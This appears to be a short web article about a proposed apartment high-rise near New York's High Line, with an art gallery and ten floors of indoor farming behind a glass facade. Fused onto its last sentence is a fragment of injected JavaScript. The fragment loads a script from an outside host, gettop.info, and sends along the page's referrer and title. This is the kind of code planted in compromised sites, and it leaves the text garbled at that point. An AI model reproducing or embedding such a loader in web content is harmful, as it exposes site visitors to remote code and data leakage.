A ‘hybridized program’ has been inserted into a new apartment high-rise. This program contains housing residences, an art gallery, plus 10 floors of indoor farming terraces. Situated near New York City’s ‘High Line’ a design group called the ‘Weston Baker Creative Group‘ has submitted the proposal.
The Rem Koolhaas parcel (adjacent to the Diller/Scofidio + Renfro‘s ‘High Line’) will receive the proposal, it’s intriguing facade and greenery will fit in well with the surroundings High Line park. The site will hold the concrete-based structure reaching skywards to form a large glass enclosure. The glass windows have a twofold function. Firstly, they permit the necessary sunlight to penetrate the building (at the right time of day and location), secondly, they allow passersby to watch the lush greenery grow as part of their own city-life experience. An eye-catching project indeed!
Well, the wheels are in motion and permits have been filed, we eagerly await the results. Watch this space.s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;
